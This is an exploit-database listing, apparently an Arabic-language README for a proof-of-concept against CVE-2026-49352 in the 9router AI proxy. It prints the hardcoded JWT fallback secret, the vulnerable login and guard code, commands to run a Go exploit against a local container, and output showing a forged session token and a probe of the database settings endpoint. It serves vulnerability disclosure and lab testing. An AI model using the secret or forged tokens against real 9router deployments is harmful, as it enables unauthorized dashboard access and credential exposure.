Sploitus

Exploit for cve-2026-49352-poc

kitploit · 2026-08-25

Exploit Code

MARKDOWN216 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-COVEPSENG-CVE-2026-49352-POC
# CVE-2026-49352 — تجاوز المصادقة عبر كلمة سر JWT المضمنة بشكل ثابت في 9router

## جدول المحتويات

  * نظرة عامة
  * الإصدارات المتأثرة
  * السبب الجذري
  * التحليل
  * هيكل المستودع
  * المتطلبات
  * الاستخدام
  * المخرجات المتوقعة
  * المراجع
  * إخلاء مسؤولية



* * *

## نظرة عامة

CVE-2026-49352 هي ثغرة أمنية في 9router، وهو وكيل مستضاف ذاتيًا مبني على Node.js/Next.js لأدوات البرمجة بالذكاء الاصطناعي. يتم توقيع JWT لجلسة لوحة التحكم باستخدام سر مستمد من متغير البيئة `JWT_SECRET`، ولكن إذا تُرك هذا المتغير غير معين، فإن كلاً من معالج تسجيل الدخول وواقي الطلبات يقعان إلى نفس النص الثابت المضمن:

root@kitploit:~
    
    
    const SECRET = new TextEncoder().encode(
      process.env.JWT_SECRET || "9router-default-secret-change-me"
    );
    

نظرًا لأن هذه السلسلة ملتزمة بالمستودع العام، فهي ليست سرًا على الإطلاق. يمكن لأي مهاجم توقيع رمز مميز بها ومعاملته كمستخدم لوحة تحكم موثوق.

* * *

## الإصدارات المتأثرة

النطاق المتأثر| تم الإصلاح في  
---|---  
0.2.21 – 0.4.41| 0.4.45  
  
* * *

## السبب الجذري

يتم تعريف السر الاحتياطي بشكل مماثل في ملفين مستقلين.

`src/app/api/auth/login/route.js` — يصدر رمز الجلسة عند تسجيل الدخول:

root@kitploit:~
    
    
    const SECRET = new TextEncoder().encode(
      process.env.JWT_SECRET || "9router-default-secret-change-me"
    );
    
    const token = await new SignJWT({ authenticated: true })
      .setProtectedHeader({ alg: "HS256" })
      .setExpirationTime("24h")
      .sign(SECRET);
    

`src/dashboardGuard.js` — يتحقق من الرمز في كل طلب محمي:

root@kitploit:~
    
    
    const SECRET = new TextEncoder().encode(
      process.env.JWT_SECRET || "9router-default-secret-change-me"
    );
    
    async function hasValidToken(request) {
      const token = request.cookies.get("auth_token")?.value;
      if (!token) return false;
      try {
        await jwtVerify(token, SECRET);
        return true;
      } catch {
        return false;
      }
    }
    

`hasValidToken()` الناجح هو الشرط _الوحيد_ الذي يتم التحقق منه قبل منح الوصول إلى `/dashboard` ونقاط النهاية المدرجة في `ALWAYS_PROTECTED` (بما في ذلك `/api/settings/database`). لا يوجد بحث عن سجل جلسة ولا التحقق من مصدر الرمز المميز — يتم التعامل مع التوقيع الصحيح كدليل على الهوية.

* * *

## التحليل

تم تأكيد تجاوز الثغرة وإعادة إنتاجه ضد بناء من قاعدة الأكواد المتضررة. مع ترك `JWT_SECRET` غير معين:

root@kitploit:~
    
    
    [1] Forging dashboard session JWT with the hardcoded fallback secret...
    [+] Forged auth_token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
    
    [2] Requesting /dashboard with the forged auth_token cookie...
    [+] 200 OK — authentication bypass confirmed
    
    [3] Probing /api/settings/database for exposed credentials...
    [+] /api/settings/database returned 200
    

### أهمية شكل النشر

تظهر الثغرة فقط عندما لم يتم تعيين `JWT_SECRET` مطلقًا من قبل المشغل — وهو الوضع الافتراضي لمعظم عمليات النشر السريعة / docker-run التي تتخطى خطوة تكوين البيئة. عمليات النشر التي تحدد `JWT_SECRET` بشكل صريح بقيمة عشوائية لا تتأثر، حيث يتم اشتقاق `SECRET` مرة واحدة عند تحميل الوحدة ولا يقع أبدًا.

* * *

## هيكل المستودع

root@kitploit:~
    
    
    cve-2026-49352-poc/
    ├── dockerfile                   # 9router built from source, pinned to v0.4.30 (affected)
    ├── podman-compose.yml           # build + run, JWT_SECRET intentionally omitted
    └── exploit/
        ├── go.mod                   # requires github.com/golang-jwt/jwt/v5
        └── exploit.go                # PoC — Go
    

* * *

## المتطلبات

الأداة| الإصدار| ملاحظات  
---|---|---  
Podman| ≥ 4.0| `podman-compose` مطلوب  
Go| ≥ 1.22| لتشغيل أداة الاستغلال محليًا  
  
اعتماد Go خارجي: `github.com/golang-jwt/jwt/v5`.

* * *

## الاستخدام

### 1\. بناء وبدء الحاوية

root@kitploit:~
    
    
    podman-compose build
    podman-compose up -d
    

انتظر حتى يبلغ التطبيق عن استعداده، ثم تحقق:

root@kitploit:~
    
    
    curl -si http://localhost:20128/dashboard | head -1
    # Expected: HTTP/1.1 307 (redirect to /login, no session yet)
    

### 2\. تشغيل أداة الاستغلال

root@kitploit:~
    
    
    cd exploit
    go run exploit.go -target http://localhost:20128
    

أضف `-probe` لطلب `/api/settings/database` أيضًا مع الكوكي المزور:

root@kitploit:~
    
    
    go run exploit.go -target http://localhost:20128 -probe
    

الأعلام المتاحة:

### 3\. التنظيف

root@kitploit:~
    
    
    podman-compose down -v
    

* * *

## المخرجات المتوقعة

root@kitploit:~
    
    
    [1] Forging dashboard session JWT with the hardcoded fallback secret...
    [+] Forged auth_token:
        eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJleHAiOjI5MTgzNjMwMTksImlhdCI6MTc4MzA2NzAxOX0.yYdNxS-nYuxv609j1w7juimNVM1RROAfVRjZyt6TU3M
    [2] Requesting /dashboard with the forged auth_token cookie...
    [+] 200 OK — authentication bypass confirmed against http://localhost:20128
    [3] Probing /api/settings/database for exposed credentials (per advisory attack scenario)...
    [+] /api/settings/database returned 200
    {"settings":{},"providerConnections":[],"providerNodes":[],"proxyPools":[],"apiKeys":[],"combos":[],"modelAliases":{},"customModels":[],"mitmAlias":{},"pricing":{}}
    

* * *

## المراجع

المورد| الرابط  
---|---  
التنبيه الأمني| GHSA-jphh-m39h-6gwx  
المستودع المعرض| decolua/9router  
التحليل الكامل — مقالة المدونة| return-zero.dev/posts/cve-2026-49352  
  
* * *

## إخلاء مسؤولية

هذا المستودع مخصص للأغراض التعليمية وتحليل قابلية الاستغلال محليًا فقط. تم إجراء جميع الاختبارات ضد بيئة حاوية ذاتية الاستضافة. لا تقم بتشغيل هذا الدليل الإثباتي (PoC) ضد أنظمة لا تملكها أو لديك إذن كتابي صريح لاختبارها.